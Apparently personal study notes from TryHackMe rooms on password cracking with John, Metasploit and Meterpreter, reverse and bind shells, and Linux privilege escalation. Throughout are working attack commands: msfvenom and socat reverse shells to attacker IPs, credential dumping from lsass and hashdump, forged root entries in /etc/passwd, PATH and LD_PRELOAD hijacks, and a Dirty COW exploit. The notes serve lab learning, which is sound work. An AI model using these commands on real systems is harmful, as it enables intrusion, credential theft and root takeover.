- Markus1, Markus2, Markus3 (etc.)
- MArkus, MARkus, MARKus (etc.)
- Markus!, Markus$, Markus* (etc.)
This technique is called word mangling. John is building it’s own dictionary based on the information that it has been fed and uses a set of rules called “mangling rules” which define how it can mutate the word it started with to generate a wordlist based off of relevant factors for the target you’re trying to crack. This is exploiting how poor passwords can be based off of information about the username, or the service they’re logging into.
GECOS
John’s implementation of word mangling also features compatibility with the Gecos fields of the UNIX operating system, and other UNIX-like operating systems such as Linux. So what are Gecos? Remember in the last task where we were looking at the entries of both /etc/shadow and /etc/passwd? Well if you look closely You can see that each field is seperated by a colon “:”. Each one of the fields that these records are split into are called Gecos fields. John can take information stored in those records, such as full name and home directory name to add in to the wordlist it generates when cracking /etc/shadow hashes with single crack mode.
1 | john --single --format=Raw-MD5 hash7.txt |
Custom Rules
Az
- Takes the word and appends it with the characters you define
A0
- Takes the word and prepends it with the characters you define
c
- Capitalises the character positionally
Lastly, we then need to define what characters should be appended, prepended or otherwise included, we do this by adding character sets in square brackets [ ]
in the order they should be used. These directly follow the modifier patterns inside of double quotes " "
. Here are some common examples:
[0-9]
- Will include numbers 0-9
[0]
- Will include only the number 0
[A-z]
- Will include both upper and lowercase
[A-Z]
- Will include only uppercase letters
[a-z]
- Will include only lowercase letters
[a]
- Will include only a
[!£$%@]
- Will include the symbols !£$%@
1 | cAz"[0-9] [!£$%@]" |
1 | john --wordlist=[path to wordlist] --rule=PoloPassword [path to file] |
Zip/RAR Files
Similarly to the unshadow tool that we used previously, we’re going to be using the zip2john tool to convert the zip file into a hash format that John is able to understand, and hopefully crack. The basic usage is like this:
1 | zip2john secure.zip > yake.txt |
1 | rar2john secure.rar > yake.txt |
ssh
1 | ssh2john id_rsa > id_rsa_hash.txt |
Encyption-Crypto 101
What is Key Exchange?
Key exchange allows 2 people/parties to establish a set of common cryptographic keys without an observer being able to get these keys. Generally, to establish common symmetric keys.
How does Diffie Hellman Key Exchange work?
Alice and Bob want to talk securely. They want to establish a common key, so they can use symmetric cryptography, but they don’t want to use key exchange with asymmetric cryptography. This is where DH Key Exchange comes in.
Alice and Bob both have secrets that they generate, let’s call these A and B. They also have some common material that’s public, let’s call this C.
We need to make some assumptions. Firstly, whenever we combine secrets/material it’s impossible or very very difficult to separate. Secondly, the order that they’re combined in doesn’t matter.
Alice and Bob will combine their secrets with the common material, and form AC and BC. They will then send these to each other, and combine that with their secrets to form two identical keys, both ABC. Now they can use this key to communicate.
Extra Resources
An excellent video if you want a visual explanation is available here. https://www.youtube.com/watch?v=NmM9HA2MQGI
DH Key Exchange is often used alongside RSA public key cryptography, to prove the identity of the person you’re talking to with digital signing. This prevents someone from attacking the connection with a man-in-the-middle attack by pretending to be Bob.
PGP stands for Pretty Good Privacy. It’s a software that implements encryption for encrypting files, performing digital signing and more.
If the key is passphrase protected, you can attempt to crack this passphrase using John The Ripper and gpg2john.
1 | gpg --import tryhackme.key |
Windows Exploitation Basics
Windows
win+r MSConfig is the most important.
- MSConfig —> UAC (user account control)
- taskmgr
- conrtol.exe
- compmgmt.msc //Computer Management
- msinfo32 //system info
- resmon // Resource Monitor
- regedit
- WF.msc //windows defender
Active Directory Basics
Simply put, a Windows domain is a group of users and computers under the administration of a given business. The main idea behind a domain is to centralise the administration of common components of a Windows computer network in a single repository called Active Directory (AD). The server that runs the Active Directory services is known as a Domain Controller (DC).
Identifying machine accounts is relatively easy. They follow a specific naming scheme. The machine account name is the computer’s name followed by a dollar sign. For example, a machine named DC01
will have a machine account called DC01$
.
Several groups are created by default in a domain that can be used to grant specific privileges to users. As an example, here are some of the most important groups in a domain:
Security Group | Description |
---|---|
Domain Admins | Users of this group have administrative privileges over the entire domain. By default, they can administer any computer on the domain, including the DCs. |
Server Operators | Users in this group can administer Domain Controllers. They cannot change any administrative group memberships. |
Backup Operators | Users in this group are allowed to access any file, ignoring their permissions. They are used to perform backups of data on computers. |
Account Operators | Users in this group can create or modify other accounts in the domain. |
Domain Users | Includes all existing user accounts in the domain. |
Domain Computers | Includes all existing computers in the domain. |
Domain Controllers | Includes all existing DCs on the domain. |
Security Groups vs OUs
You are probably wondering why we have both groups and OUs. While both are used to classify users and computers, their purposes are entirely different:
- OUs are handy for applying policies to users and computers, which include specific configurations that pertain to sets of users depending on their particular role in the enterprise. Remember, a user can only be a member of a single OU at a time, as it wouldn’t make sense to try to apply two different sets of policies to a single user.
- Security Groups, on the other hand, are used to grant permissions over resources. For example, you will use groups if you want to allow some users to access a shared folder or network printer. A user can be a part of many groups, which is needed to grant access to multiple resources.
Which group normally administrates all computers and resources in a domain?
1 | Domain Admins |
What would be the name of the machine account associated with a machine named TOM-PC?
1 | TOM-PC$ |
Suppose our company creates a new department for Quality Assurance. What type of containers should we use to group all Quality Assurance users so that policies can be applied consistently to them?
1 | Organizational Units |
Deleting extra OUs and users
Delegation
The process of granting privileges to a user over some OU or other AD Object is called…
1 | Delegation |
ummmmmmmm………….maybe you can read this blog : https://www.cnblogs.com/Hekeats-L/p/16749328.html
okay.
When using Windows domains, all credentials are stored in the Domain Controllers. Whenever a user tries to authenticate to a service using domain credentials, the service will need to ask the Domain Controller to verify if they are correct. Two protocols can be used for network authentication in windows domains:
- Kerberos: Used by any recent version of Windows. This is the default protocol in any recent domain.
- NetNTLM: Legacy authentication protocol kept for compatibility purposes.
While NetNTLM should be considered obsolete, most networks will have both protocols enabled.
https://tryhackme.com/room/winadbasics
Keep in mind that this room should only serve as an introduction to the basic concepts, as there’s quite a bit more to explore to implement a production-ready Active Directory environment.
A month later , I will learn https://tryhackme.com/module/hacking-active-directory.
Metasploit
Metasploit : Introduction
The Metasploit Framework is a set of tools that allow information gathering, scanning, exploitation, exploit development, post-exploitation, and more. While the primary usage of the Metasploit Framework focuses on the penetration testing domain, it is also useful for vulnerability research and exploit development.
Auxiliary: Any supporting module, such as scanners, crawlers and fuzzers, can be found here.
Encoders: Encoders will allow you to encode the exploit and payload in the hope that a signature-based antivirus solution may miss them.
Evasion: While encoders will encode the payload, they should not be considered a direct attempt to evade antivirus software.
Exploits: Exploits, neatly organized by target system.
**NOPs: NOPs (No OPeration) do nothing, literally. **: They are represented in the Intel x86 CPU family they are represented with 0x90, following which the CPU will do nothing for one cycle. They are often used as a buffer to achieve consistent payload sizes.
Payloads: Payloads are codes that will run on the target system.
- Singles: Self-contained payloads (add user, launch notepad.exe, etc.) that do not need to download an additional component to run.
- tagers: Responsible for setting up a connection channel between Metasploit and the target system. Useful when working with staged payloads. “Staged payloads” will first upload a stager on the target system then download the rest of the payload (stage). This provides some advantages as the initial size of the payload will be relatively small compared to the full payload sent at once.
- Stages: Downloaded by the stager. This will allow you to use larger sized payloads.
Post: Post modules will be useful on the final stage of the penetration testing process listed above, post-exploitation.
1 | msfconsole |
1 | run = exploit |
Some modules support the check
option. This will check if the target system is vulnerable without exploiting it.
1 | check |
Sessions
Once a vulnerability has been successfully exploited, a session will be created. This is the communication channel established between the target system and Metasploit.
You can use the background
command to background the session prompt and go back to the msfconsole prompt.
The sessions
command can be used from the msfconsole prompt or any context to see the existing sessions.
1 | background //CTRL+Z |
Metasploit : Exploitation
Please note that for all questions that require using a wordlist (e.g brute-force attacks), we will be using the wordlist on the AttackBox found at the following path:
1 | /usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt |
1 | search portscan |
You can directly perform Nmap scans from the msfconsole prompt as shown below faster:
1 | nmap -sS 10.10.219.231 |
UDP service Identification
The scanner/discovery/udp_sweep
module will allow you to quickly identify services running over the UDP (User Datagram Protocol). As you can see below, this module will not conduct an extensive scan of all possible UDP services but does provide a quick way to identify services such as DNS or NetBIOS.
1 | scanner/discovery/udp_sweep |
SMB Scans
Metasploit offers several useful auxiliary modules that allow us to scan specific services. Below is an example for the SMB. Especially useful in a corporate network would be smb_enumshares
and smb_version
but please spend some time to identify scanners that the Metasploit version installed on your system offers.
1 | nmap -sC -sV -p- -T4 --min-rate=9326 -vv IP |
The metasploit Database
1 | systemctl start postgresql |
The database feature will allow you to create workspaces to isolate different projects. When first launched, you should be in the default workspace. You can list available workspaces using the workspace
command.
You can add a workspace using the -a
parameter or delete a workspace using the -d
parameter, respectively. The screenshot below shows that a new workspace named “tryhackme” was created.
1 | workspace -a trya |
If you run a Nmap scan using the db_nmap
shown below, all results will be saved to the database.
You can now reach information relevant to hosts and services running on target systems with the hosts
and services
commands, respectively.
Once the host information is stored in the database, you can use the hosts -R
command to add this value to the RHOSTS parameter.
1 | services -S netbios |
Msfvenom
Msfvenom will allow you to access all payloads available in the Metasploit framework. Msfvenom allows you to create payloads in many different formats (PHP, exe, dll, elf, etc.) and for many different target systems (Apple, Windows, Android, Linux, etc.).
1 | msfvenom -l payloads |
1 | msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64 //the output format was raw -e -->encoding |
1 | msfvenom -p php/reverse_php LHOST=10.0.2.19 LPORT=7777 -f raw > reverse_shell.php |
Please note: The output PHP file will miss the starting PHP tag commented and the end tag (?>
), as seen below.
1 | use exploit/multi/handler |
1 | Windows |
1 | post/linux/gather/hashdump //hashdump |
Metasploit : Meterpreter
How does Meterpreter work?
Meterpreter runs on the target system but is not installed on it. It runs in memory and does not write itself to the disk on the target. This feature aims to avoid being detected during antivirus scans. By default, most antivirus software will scan new files on the disk (e.g. when you download a file from the internet) Meterpreter runs in memory (RAM - Random Access Memory) to avoid having a file that has to be written to the disk on the target system (e.g. meterpreter.exe). This way, Meterpreter will be seen as a process and not have a file on the target system.
1 | msfvenom --list payloads | meterpreter |
Your decision on which version of Meterpreter to use will be mostly based on three factors;
- The target operating system (Is the target operating system Linux or Windows? Is it a Mac device? Is it an Android phone? etc.)
- Components available on the target system (Is Python installed? Is this a PHP website? etc.)
- Network connection types you can have with the target system (Do they allow raw TCP connections? Can you only have an HTTPS reverse connection? Are IPv6 addresses not as closely monitored as IPv4 addresses? etc.)
1 | use exploit/windows/smb/ms17_010_eternalblue |
1 | help |
What is the computer name?
1 | getuid |
What is the target domain?
1 | sysinfo |
What is the name of the share likely created by the user?
1 | speedster //run this post exploit post/windows/gather/enum_shares |
What is the NTLM hash of the jchambers user?
1 | //ps | grep lsass |
What is the cleartext password of the jchambers user?
1 | You will need to migrate to the "lsass.exe" process first |
lsass.exe是系统进程,用于本地安全认证服务器,她为winlogon服务的用户验证生成一个进程。如果身份验证成功,Lsass将生成用户的访问令牌,用于启动初始外壳程序。该用户启动的其他进程将继承这一令牌。
Where is the “secrets.txt” file located?
1 | search -f *.txt |
BLUE
1 | nmap -sC -sV -p- -T5 -vv 10.10.13.228 |
Shells and Privilege Escalation
Shell
Netcat:
etcat shells are very unstable (easy to lose) by default, but can be improved by techniques that we will be covering in an upcoming task.
Socat:
Socat is like netcat on steroids. It can do all of the same things, and many more. Socat shells are usually more stable than netcat shells out of the box. In this sense it is vastly superior to netcat; however, there are two big catches:
- The syntax is more difficult
- Netcat is installed on virtually every Linux distribution by default. Socat is very rarely installed by default.
Metasploit – multi/handler:
The auxiliary/multi/handler
module of the Metasploit framework is, like socat and netcat, used to receive reverse shells.
Msfvenom:
Msfvenom is used to generate payloads on the fly. Whilst msfvenom can generate payloads other than reverse and bind shells, these are what we will be focusing on in this room.
1 | /usr/share/webshells |
Interactive
Interactive: If you’ve used Powershell, Bash, Zsh, sh, or any other standard CLI environment then you will be used to
interactive shells. These allow you to interact with programs after executing them.
Non-Interactive
Non-Interactive shells don’t give you that luxury. In a non-interactive shell you are limited to using programs which do not require user interaction in order to run properly. Unfortunately, the majority of simple reverse and bind shells are non-interactive, which can make further exploitation trickier.
Netcat
1 | nc -lvnp <port-number> //reverse shell |
- -l is used to tell netcat that this will be a listener
- -v is used to request a verbose output
- -n tells netcat not to resolve host names or use DNS. Explaining this is outwith the scope of the room.
- -p indicates that the port specification will follow.
1 | nc <target-ip> <chosen-port> //blind shell |
These shells are very unstable by default. Pressing Ctrl + C kills the whole thing. They are non-interactive, and often have strange formatting errors. This is due to netcat “shells” really being processes running inside a terminal, rather than being bonafide terminals in their own right. Fortunately, there are many ways to stabilise netcat shells on Linux systems. We’ll be looking at three here. Stabilisation of Windows reverse shells tends to be significantly harder; however, the second technique that we’ll be covering here is particularly useful for it.
Technique 1: Python
The first technique we’ll be discussing is applicable only to Linux boxes, as they will nearly always have Python installed by default. This is a three stage process:
- The first thing to do is use
python -c 'import pty;pty.spawn("/bin/bash")'
, which uses Python to spawn a better featured bash shell; note that some targets may need the version of Python specified. If this is the case, replacepython
withpython2
orpython3
as required. At this point our shell will look a bit prettier, but we still won’t be able to use tab autocomplete or the arrow keys, and Ctrl + C will still kill the shell. - Step two is:
export TERM=xterm
– this will give us access to term commands such asclear
. - Finally (and most importantly) we will background the shell using Ctrl + Z. Back in our own terminal we use
stty raw -echo; fg
. This does two things: first, it turns off our own terminal echo (which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes). It then foregrounds the shell, thus completing the process.
Note that if the shell dies, any input in your own terminal will not be visible (as a result of having disabled terminal echo). To fix this, type reset
and press enter.
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
Technique 2: rlwrap
rlwrap is a program which, in simple terms, gives us access to history, tab autocompletion and the arrow keys immediately upon receiving a shell*;* however, some manual stabilisation must still be utilised if you want to be able to use Ctrl + C inside the shell. rlwrap is not installed by default on Kali, so first install it with sudo apt install rlwrap
.
To use rlwrap, we invoke a slightly different listener:
1 | sudo apt install rlwrap |
Prepending our netcat listener with “rlwrap” gives us a much more fully featured shell. This technique is particularly useful when dealing with Windows shells, which are otherwise notoriously difficult to stabilise. When dealing with a Linux target, it’s possible to completely stabilise, by using the same trick as in step three of the previous technique: background the shell with Ctrl + Z, then use stty raw -echo; fg
to stabilise and re-enter the shell.
Technique 3: Socat
The third easy way to stabilise a shell is quite simply to use an initial netcat shell as a stepping stone into a more fully-featured socat shell. Bear in mind that this technique is limited to Linux targets, as a Socat shell on Windows will be no more stable than a netcat shell. To accomplish this method of stabilisation we would first transfer a socat static compiled binary (a version of the program compiled to have no dependencies) up to the target machine. A typical way to achieve this would be using a webserver on the attacking machine inside the directory containing your socat binary (sudo python3 -m http.server 80
), then, on the target machine, using the netcat shell to download the file. On Linux this would be accomplished with curl or wget (wget <LOCAL-IP>/socat -O /tmp/socat
).
For the sake of completeness: in a Windows CLI environment the same can be done with Powershell, using either Invoke-WebRequest or a webrequest system class, depending on the version of Powershell installed (Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe
). We will cover the syntax for sending and receiving shells with Socat in the upcoming tasks.
1 | sudo python3 -m http.server 80 |
1 | stty -a |
Socat
Reverse shell
1 | socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes //windows |
Blind Shell
1 | socat TCP-L:<PORT> EXEC:powershell.exe,pipes //windows |
Regardless of the target, we use this command on our attacking machine to connect to the waiting listener.
1 | socat TCP-L:<port> |
Now let’s take a look at one of the more powerful uses for Socat: a fully stable Linux tty reverse shell. This will only work when the target is Linux, but is significantly more stable. As mentioned earlier, socat is an incredibly versatile tool; however, the following technique is perhaps one of its most useful applications. Here is the new listener syntax:
1 | socat TCP-L:<port> FILE:`tty`,raw,echo=0 |
The first listener can be connected to with any payload; however, this special listener must be activated with a very specific socat command. This means that the target must have socat installed. Most machines do not have socat installed by default, however, it’s possible to upload a precompiled socat binary, which can then be executed as normal.
1 | socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane |
One of the many great things about socat is that it’s capable of creating encrypted shells – both bind and reverse. Why would we want to do this? Encrypted shells cannot be spied on unless you have the decryption key, and are often able to bypass an IDS as a result.
We first need to generate a certificate in order to use encrypted shells. This is easiest to do on our attacking machine:
verify=0
tells the connection to not bother trying to validate that our certificate has been properly signed by a recognised authority.
1 | openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt |
This technique will also work with the special, Linux-only TTY shell covered in the previous task.
1 | socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0 |
If your IP is 10.10.10.5, what syntax would you use to connect back to this listener?
1 | socat OPENSSL:10.10.10.5:53,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane |
Common Shell Payloads
1 | blind shell |
Msfvenom
Msfvenom: the one-stop-shop for all things payload related.
It is used extensively in lower-level exploit development to generate hexadecimal shellcode when developing something like a Buffer Overflow exploit; however, it can also be used to generate payloads in various formats (e.g. .exe
, .aspx
, .war
, .py
)
1 | msfvenom -p <PAYLOAD> <OPTIONS> |
Stageless payloads tend to be easier to use and catch; however, they are also bulkier, and are easier for an antivirus or intrusion detection program to discover and remove. Staged payloads are harder to use, but the initial stager is a lot shorter, and is sometimes missed by less-effective antivirus software. Modern day antivirus solutions will also make use of the Anti-Malware Scan Interface (AMSI) to detect the payload as it is loaded into memory by the stager, making staged payloads less effective than they would once have been in this area.
1 | <OS>/<arch>/<payload> |
Metasploit multi/handler
Multi/Handler is a superb tool for catching reverse shells. It’s essential if you want to use Meterpreter shells, and is the go-to when using staged payloads.
1 | msfconsole |
Common Linux Privesc
Where to get LinEnum
You can download a local copy of LinEnum from:
https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
It’s worth keeping this somewhere you’ll remember, because LinEnum is an invaluable tool.
How do I get LinEnum on the target machine?
There are two ways to get LinEnum on the target machine. The first way, is to go to the directory that you have your local copy of LinEnum stored in, and start a Python web server using “python3 -m http.server 8000” [1]. Then using “wget” on the target machine, and your local IP, you can grab the file from your local machine [2]. Then make the file executable using the command “chmod +x FILENAME.sh”.
What is the target’s hostname?
1 | hostname |
Look at the output of /etc/passwd how many “user[x]” are there on the system?
1 | cat /etc/passwd |
How many available shells are there on the system?
1 | cat /etc/shells |
What is the name of the bash script that is set to run every 5 minutes by cron?
1 | cat /etc/crontab |
SUID/GUID
Finding and Exploiting SUID Files
The first step in Linux privilege escalation exploitation is to check for files with the SUID/GUID bit set. This means that the file or files can be run with the permissions of the file(s) owner/group. In this case, as the super-user. We can leverage this to get a shell with these privileges!
What is an SUID binary?
As we all know in Linux everything is a file, including directories and devices which have permissions to allow or restrict three operations i.e. read/write/execute. So when you set permission for any file, you should be aware of the Linux users to whom you allow or restrict all three permissions. Take a look at the following demonstration of how maximum privileges (rwx-rwx-rwx) look:
r = read
w = write
x = execute
user group others
rwx rwx rwx
421 421 421
The maximum number of bit that can be used to set permission for each user is 7, which is a combination of read (4) write (2) and execute (1) operation. For example, if you set permissions using “chmod” as 755, then it will be: rwxr-xr-x.
But when special permission is given to each user it becomes SUID or SGID. When extra bit “4” is set to user(Owner) it becomes SUID (Set user ID) and when bit “2” is set to group it becomes SGID (Set Group ID).
Therefore, the permissions to look for when looking for SUID is:
SUID:
rws-rwx-rwx
GUID:
rwx-rws-rwx
Finding SUID Binaries
We already know that there is SUID capable files on the system, thanks to our LinEnum scan. However, if we want to do this manually we can use the command: “find / -perm -u=s -type f 2>/dev/null” to search the file system for SUID/GUID files. Let’s break down this command.
find - Initiates the “find” command
/ - Searches the whole file system
-perm - searches for files with specific permissions
-u=s - Any of the permission bits mode are set for the file. Symbolic modes are accepted in this form
-type f - Only search for files
2>/dev/null - Suppresses errors
/etc/passwd
https://www.myfreax.com/etc-passwd-file/
Before we add our new user, we first need to create a compliant password hash to add! We do this by using the command: “openssl passwd -1 -salt [salt] [password]”
What is the hash created by using this command with the salt, “new” and the password “123”?
1 | $1$new$p7ptkEKU1HnaHpRtzNizS1 |
Great! Now we need to take this value, and create a new root user account. What would the /etc/passwd entry look like for a root user with the username “new” and the password hash we created before?
1 | new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:/root:/bin/bash |
Great! Now you’ve got everything you need. Just add that entry to the end of the /etc/passwd file!
Escaping Vi Editor
Sudo -l
This exploit comes down to how effective our user account enumeration has been. Every time you have access to an account during a CTF scenario, you should use “sudo -l” to list what commands you’re able to use as a super user on that account. Sometimes, like this, you’ll find that you’re able to run certain commands as a root user without the root password. This can enable you to escalate privileges.
Escaping Vi
Running this command on the “user8” account shows us that this user can run vi with root privileges. This will allow us to escape vim in order to escalate privileges and get a shell as the root user!
**Misconfigured Binaries and GTFOBins
**
If you find a misconfigured binary during your enumeration, or when you check what binaries a user account you have access to can access, a good place to look up how to exploit them is GTFOBins. GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. It provides a really useful breakdown of how to exploit a misconfigured binary and is the first place you should look if you find one on a CTF or Pentest.
Let’s use the “sudo -l” command, what does this user require (or not require) to run vi as root?
1 | sudo -l |
So, all we need to do is open vi as root, by typing “sudo vi” into the terminal.
Now, type “:!sh” to open a shell!
1 | sudo vim |
Crontab
How to view what Cronjobs are active.
We can use the command “cat /etc/crontab” to view what cron jobs are scheduled. This is something you should always check manually whenever you get a chance, especially if LinEnum, or a similar script, doesn’t find anything.
1 | msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R |
After about 5 minutes, you should have a shell as root land in your netcat listening session! Congratulations!
PATH
What is PATH?
PATH is an environmental variable in Linux and Unix-like operating systems which specifies directories that hold executable programs. When the user runs any command in the terminal, it searches for executable files with the help of the PATH Variable in response to commands executed by a user.
It is very simple to view the Path of the relevant user with help of the command “echo $PATH”.
How does this let us escalate privileges?
Let’s say we have an SUID binary. Running it, we can see that it’s calling the system shell to do a basic process like list processes with “ps”. Unlike in our previous SUID example, in this situation we can’t exploit it by supplying an argument for command injection, so what can we do to try and exploit this?
We can re-write the PATH variable to a location of our choosing! So when the SUID binary calls the system shell to run an executable, it runs one that we’ve written instead!
As with any SUID file, it will run this command with the same privileges as the owner of the SUID file! If this is root, using this method we can run whatever commands we like as root!
1 | cd ~ //find scsript |
Once you’ve finished the exploit, you can exit out of root and use **”export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH”**to reset the PATH variable back to default, letting you use “ls” again!
1 | "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH" |
Below is a list of good checklists to apply to CTF or penetration test use cases.Although I encourage you to make your own using CherryTree or whatever notes application you prefer.
- https://github.com/netbiosX/Checklists/blob/master/Linux-Privilege-Escalation.md
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Linux - Privilege Escalation.md)
- https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html
- https://payatu.com/guide-linux-privilege-escalation
Linux PrivEsc ***
UDF
https://www.freebuf.com/articles/database/291175.html
/etc/shadow
1 | ls -l /etc/shadow |
/etc/passwd
1 | ls -l /etc/passwd |
sudo
1 | sudo -l |
Sudo - Environment Variables
https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/
https://www.boiteaklou.fr/Abusing-Shared-Libraries.html
1 | sudo -l |
LD_PRELOAD and LD_LIBRARY_PATH are both inherited from the user’s environment. LD_PRELOAD loads a shared object before any others when a program is run. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.
1 | gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c |
Run ldd against the apache2 program file to see which shared libraries are used by the program:
1 | ldd /usr/sbin/apache2 |
Create a shared object with the same name as one of the listed libraries (libcrypt.so.1) using the code located at /home/user/tools/sudo/library_path.c:
1 | gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c |
Run apache2 using sudo, while settings the LD_LIBRARY_PATH environment variable to /tmp (where we output the compiled shared object):
1 | sudo LD_LIBRARY_PATH=/tmp |
Cron-*
1 | locate overwrite.sh |
We can see that the code periodically is making a backup of the entire “/home/user” folder. The important point to note here is the * that is used to represent any file. This can be exploited if not used correctly.
We can make files that have the same name as the options (flags) that are provided by the tar utility and tar will consider these files as options not as file names.
Lets create an payload using “msfvenom” that we will make the tar utility execute which should give us an reverse shell.
1 | cat /usr/local/bin/compress.sh |
https://gtfobins.github.io/gtfobins/tar/
SUID/SGID
1 | find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null |
1 | -rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3 |
Note that /usr/sbin/exim-4.84-3 appears in the results. Try to find a known exploit for this version of exim. Exploit-DB, Google, and GitHub are good places to search!
1 | /home/user/tools/suid/exim/cve-2016-1531.sh |
The executable /usr/local/bin/suid-so
is vulnerable to shared object injection. Lets see this attack in action. First lets run the executable and see what it does. We see that it prints an progress bar on the terminal.
Lets use the strace command (Stack Trace) on the executable to see all libraries and files where accessed by the executable.
1 | /usr/local/bin/suid-so |
We can see that the executable depends on an library file called “libcalc.so” that should be present in the user directory.
1 | open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory) |
We add code into that file that will set the UID to 0 (root) and then spawn an privileges shell. Lets compile this file and see if running the executable will cause our library to be loaded which in turn will spawn a root shell.
1 | mkdir /home/user/.config |
1 | #include <stdio.h> |
The /usr/local/bin/suid-env executable can be exploited due to it inheriting the user’s PATH environment variable and attempting to execute programs without specifying an absolute path.
First, execute the file and note that it seems to be trying to start the apache2 webserver:
1 | /usr/local/bin/suid-env |
Run strings on the file to look for strings of printable characters:
1 | strings /usr/local/bin/suid-env |
One line (“service apache2 start”) suggests that the service executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used.
Compile the code located at /home/user/tools/suid/service.c into an executable called service. This code simply spawns a Bash shell:
1 | gcc -o service /home/user/tools/suid/service.c |
Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the suid-env executable to gain a root shell:
1 | PATH=.:$PATH /usr/local/bin/suid-env |
Remember to exit out of the root shell before continuing!
The /usr/local/bin/suid-env2 executable is identical to /usr/local/bin/suid-env except that it uses the absolute path of the service executable (/usr/sbin/service) to start the apache2 webserver.
Verify this with strings:
1 | strings /usr/local/bin/suid-env2 |
In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.
Verify the version of Bash installed on the Debian VM is less than 4.2-048:
1 | /bin/bash --version |
Create a Bash function with the name “/usr/sbin/service“ that executes a new Bash shell (using -p so permissions are preserved) and export the function:
1 | function /usr/sbin/service { /bin/bash -p; }export -f /usr/sbin/service |
Run the suid-env2 executable to gain a root shell:
1 | /usr/local/bin/suid-env2 |
Remember to exit out of the root shell before continuing!
Note: This will not work on Bash versions 4.4 and above.
When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements.
Run the /usr/local/bin/suid-env2 executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:
1 | env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2 |
Run the /tmp/rootbash executable with -p to gain a shell running with root privileges:
1 | /tmp/rootbash -p |
Remember to remove the /tmp/rootbash executable and exit out of the elevated shell before continuing as you will create this file again later in the room!
1 | rm /tmp/rootbashexit |
Passwords
If a user accidentally types their password on the command line instead of into a password prompt, it may get recorded in a history file.
View the contents of all the hidden history files in the user’s home directory:
1 | cat ~/.*history | less |
Note that the user has tried to connect to a MySQL server at some point, using the “root” username and a password submitted via the command line. Note that there is no space between the -p option and the password!
Switch to the root user, using the password:
1 | su root |
Config files often contain passwords in plaintext or other reversible formats.
List the contents of the user’s home directory:
1 | ls /home/user |
Note the presence of a myvpn.ovpn config file. View the contents of the file:
1 | cat /home/user/myvpn.ovpn |
The file should contain a reference to another location where the root user’s credentials can be found. Switch to the root user, using the credentials:
1 | su root |
1 | ls -la / |
NFS
Files created via NFS inherit the remote user’s ID. If the user is root, and root squashing is enabled, the ID will instead be set to the “nobody” user.
Check the NFS share configuration on the Debian VM:
1 | cat /etc/exports |
Note that the /tmp share has root squashing disabled.
On your Kali box, switch to your root user if you are not already running as root:
1 | sudo su |
Using Kali’s root user, create a mount point on your Kali box and mount the /tmp share (update the IP accordingly):
1 | mkdir /tmp/nfsmount -o rw,vers=3 10.10.10.10:/tmp /tmp/nfs |
Still using Kali’s root user, generate a payload using msfvenom and save it to the mounted share (this payload simply calls /bin/bash):
1 | msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf |
Still using Kali’s root user, make the file executable and set the SUID permission:
1 | chmod +xs /tmp/nfs/shell.elf |
Back on the Debian VM, as the low privileged user account, execute the file to gain a root shell:
1 | /tmp/shell.elf |
What is the name of the option that disables root squashing?
1 | no_root_squash |
Kernel Exploits
Kernel exploits can leave the system in an unstable state, which is why you should only run them as a last resort.
Run the Linux Exploit Suggester 2 tool to identify potential kernel exploits on the current system:
1 | perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl |
The popular Linux kernel exploit “Dirty COW” should be listed. Exploit code for Dirty COW can be found at /home/user/tools/kernel-exploits/dirtycow/c0w.c. It replaces the SUID file /usr/bin/passwd with one that spawns a shell (a backup of /usr/bin/passwd is made at /tmp/bak).
Compile the code and run it (note that it may take several minutes to complete):
1 | gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o c0w./c0w |
Once the exploit completes, run /usr/bin/passwd to gain a root shell:
1 | /usr/bin/passwd |
Remember to restore the original /usr/bin/passwd file and exit the root shell before continuing!
1 | mv /tmp/bak /usr/bin/passwdexit |
Tools
1 | LinEnum.sh linpeas.sh lse.sh |
kenobi
1 | nmap -sC -sV 10.10.215.171 |
1 | dirb -u http://10.10.215.171/ |
